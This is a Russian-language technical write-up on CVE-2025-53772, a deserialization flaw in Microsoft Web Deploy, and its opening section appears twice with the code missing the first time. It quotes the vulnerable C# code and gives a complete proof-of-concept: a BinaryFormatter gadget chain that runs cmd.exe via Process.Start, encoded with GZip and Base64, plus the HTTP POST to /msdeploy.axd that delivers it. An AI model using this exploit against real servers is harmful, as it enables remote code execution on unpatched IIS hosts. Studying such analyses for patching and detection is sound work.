CVE-2025-53772 это критическая уязвимость удаленного выполнения кода (RCE), обнаруженная в Microsoft Web Deploy (msdeploy), инструменте для развертывания веб-приложений и служб IIS. Уязвимость связана с небезопасной десериализацией данных в заголовках HTTP и позволяет аутентифицированному пользователю выполнить произвольный код на целевом сервере. Эта уязвимость была раскрыта 12 августа 2025 года и имеет оценку CVSS 8.8
Уязвимость существует в двух компонентах Web Deploy:
msdeploy.axd (через Web Management Service, WMSvc)
msdeployagentservice (агентская служба Web Deploy) .
Процесс атаки начинается с того, что отправляется специально сконструированный HTTP-запрос к уязвимому серверу. Ключевым элементом атаки является заголовок MSDeploy.SyncOptions.
Этот заголовок содержит вредоносную полезную нагрузку, которая представляет собой:
Ключевая проблема заключается в использовании BinaryFormatter без строгой проверки типов.
Простой пример кода:
Как видно из кода:
PoC:
Этот код создает вредоносный сериализованный объект SortedSet<string>, который при десериализации запускает процесс cmd.exe /c calc. Для эксплуатации отправляется HTTP-запрос к конечной точке /msdeploy.axd с вредоносным заголовком MSDeploy.SyncOptions:
Источники:
Уязвимость существует в двух компонентах Web Deploy:
msdeploy.axd (через Web Management Service, WMSvc)
msdeployagentservice (агентская служба Web Deploy) .
Процесс атаки начинается с того, что отправляется специально сконструированный HTTP-запрос к уязвимому серверу. Ключевым элементом атаки является заголовок MSDeploy.SyncOptions.
Этот заголовок содержит вредоносную полезную нагрузку, которая представляет собой:
- Сериализованные данные, преобразованные в формат Base64 (для корректной передачи в текстовом виде HTTP-запросов).
- Сжатые с помощью алгоритма GZip (для уменьшения размера и обхода возможных проверок).
- Декодирование из Base64: Сервер извлекает значение заголовка MSDeploy.SyncOptions и преобразует его из строки Base64 обратно в бинарный формат.
- Декомпрессия GZip: Полученные бинарные данные затем распаковываются с использованием GZip-декомпрессии.
- Небезопасная десериализация: Наиболее критичный этап. Распакованные бинарные данные передаются напрямую методу BinaryFormatter.Deserialize() без какой-либо предварительной проверки.
Ключевая проблема заключается в использовании BinaryFormatter без строгой проверки типов.
Простой пример кода:
C#:
public static object Deserialize(string str, out Exception handledException) {
handledException = null;
BinaryFormatter binaryFormatter = new BinaryFormatter(); // [1]
byte[] array = Convert.FromBase64String(str); // [2]
object obj;
try {
obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
} catch (SerializationException ex) {
handledException = ex;
binaryFormatter.Binder = new Base64EncodingHelper.HandleMissingExceptionTypesSerializationBinder();
obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
}
return obj;
}
private static object DeserializeHelper(BinaryFormatter formatter, byte[] buffer) {
object obj;
using (MemoryStream memoryStream = new MemoryStream(buffer)) {
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) { // [3]
obj = formatter.Deserialize(gzipStream); // [4]
}
}
return obj;
}
- Создается экземпляр BinaryFormatter .
- Входные данные декодируются из Base64 .
- Декодированные данные декомпрессируются с помощью GZip .
- Декомпрессированные данные десериализуются с помощью BinaryFormatter.Deserialize() без проверки типов
PoC:
C#:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
namespace hawktraceiis {
class Program {
static void Main(string[] args) {
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd.exe");
set.Add("/c calc");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
using (MemoryStream stream = new MemoryStream()) {
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, set);
using (MemoryStream compst = new MemoryStream()) {
using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress)) {
stream.Position = 0;
stream.CopyTo(gzipStream);
}
string gzb4 = Convert.ToBase64String(compst.ToArray());
Console.WriteLine(gzb4);
}
}
}
}
}
Этот код создает вредоносный сериализованный объект SortedSet<string>, который при десериализации запускает процесс cmd.exe /c calc. Для эксплуатации отправляется HTTP-запрос к конечной точке /msdeploy.axd с вредоносным заголовком MSDeploy.SyncOptions:
HTTP:
POST /msdeploy.axd HTTP/1.1
Host: msdeploy.webserver.com
MSDeploy.RequestId: 1
Content-Type: application/msdeploy
MSDeploy.Method: Sync
MSDeploy.SyncOptions: H4sIAAAAAAAAA...[Сгенерированная полезная нагрузка]
Content-Length: 0
Источники:
- HawkTrace — Детальный технический анализ уязвимости, включая код и PoC.
- NIST NVD — Официальная запись об уязвимости в Национальной базе данных уязвимостей США.
- JavaScript in Plain English — Обзор уязвимости, ее значимости и стратегии смягчения.
- CyberPress — Еще одна статья, подробно разбирающая технические детали и этапы эксплуатации.